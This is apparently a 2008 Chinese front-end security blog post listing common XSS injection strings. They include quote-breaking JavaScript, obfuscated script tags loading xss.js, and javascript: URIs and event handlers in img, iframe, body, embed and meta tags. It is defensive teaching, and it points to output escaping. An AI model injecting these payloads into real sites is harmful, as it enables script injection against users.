常见的 XSS 注入攻击方式 Part.1
作者:grace 来源:gracecode.com 发布时间:2008-10-30 13:06:00
标签:xss,注入,前端,javascript
前端开发常见的安全问题就是会遭受 XSS 注入攻击,这里列举常见的代码注入方式。
Javascript 代码注入
Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。
很多时候会写这样的代码
document.write('u name is' + name);
这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时
';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}
就会破坏原有代码结构,插入不期望的代码。
HTML 标签注入
HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码
逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。
<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js> </script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/ alert(a.source)</script>
从图片标签中注入,在些论坛上比较常见
<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">
从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)
<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>
其他容易注入的地方
<body onload=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">
先摘记举例那么多,下期的内容包括“CSS 注入”、“其他注入方法”以及一般性解决方案,欢迎探讨和纠正。


猜你喜欢
- Mozilla终于发布Firefox 3.6正式版了,这对Firefox来说又是一个具有里程碑意义的版本。也可能是一年之内唯一的一个主要版本
- 前期,做单位一个专题网页,里面需要插入一段视频。视频格式是wmv,就想用目前流行FLV格式来播放。因为对Flash比较陌生,所以比较辛苦,记
- 按一下步骤进行安装:选择虚拟机,然后如下图选择“ 编辑虚拟机设置 ”。弹出的编辑框中,选择“CD/DVD”中的“使用ISO镜像文件”,然后选
- 服务器负载太大而影响程序效率也是很常见的,我们需要对此进行测试。这里我以目前最常用的Apache服务器为例。Apache服务器自带有一个叫A
- 在巡讲过程中,发布商都对我们新推出的产品 – 搜索联盟 非常感兴趣,也询问了很多搜索联盟相关的问题。我们收集了几个主要的问题,并做以下的解答
- 1、独立的标题尽量为每个页面写上独立的标题,特别是一些产品页栏目页等,标题是SEO中很重要的一部分,不要轻易浪费掉这块宝地。好的标题不仅对搜
- 容器数据卷介绍什么是数据卷将运用与运行的环境打包形成容器运行,运行可以伴随着容器,但是我们对数据的要求是持久化的。容器之间希望有可能共享数据
- Front Page Category安装这个插件后,会在WordPress控制面板“设置”那里生成一个Front Page Categor
- 每两年,SEOmoz搜索引擎营销团队都会向世界各地的SEO专家们做有关搜索引擎排名算法的调查。今年主要收到了来自美国、英国、加拿大、澳大利亚
- 近日因测试安全产品需要,想调整mariadb的启动用户为root, 经历一番波折后终于成功!注意:以root身份启动mysql是一项非常危险
- 本人是从众多媒体玩家的视频中无意了解到了软路由,它的功能非常强大,你想要的不想要的上面都有,重点是软路由可以安装到各种设备中(各种盒子、虚拟
- 为什么要学 vimlinux 有大量的配置文件,所以 linux 的文本处理工具也是比较多的,常用的有 less vi head tail
- 术语:1、VM:虚拟机步骤:1、在Windows10上下载并安装VirtualBox6.0.8(时间:2019/5/30),下载地址:htt
- 由于互联网普及,催生数量惊人的上网用户,如此庞大的网络用户群体,促生了新的经济增长方式,利用网络赚钱,让不少人走上了致富路。同时,还有一些网
- iis无法启动,发生意外错误0x8ffe2740第一次发现这个错误的时候,以为IIS出了什么问题,所以就重装了(这是我经常用的方法,哈哈.革
- 北京时间10月29日消息,据国外媒体报道,社交网站Facebook平台主管伊森比尔德(Ethan Beard)周三在官方博客网站撰文,描绘了
- WordPress系统使用时间长了,数据库中的冗余数据就会很多,定期优化和清理Wordpress的数据库,可以保证Wordpress能够快速
- 最近在百度和google上搜索了“官方下载”这个关键词,发现两处都是迅雷排在第一,然后都是腾讯QQ,
- 很奇怪,最近自建的FTP,Serv-U域总是一开机就自动离线,重新填写域IP,应用之后,就正常了。但是重启之后,又挂掉,造成FTP连接不上。
- 【虚拟机】VirtualBox简体中文版下载安装使用图解教程此教程用的是VirtualBox 4.1.2.74291版本。运行环境:WinX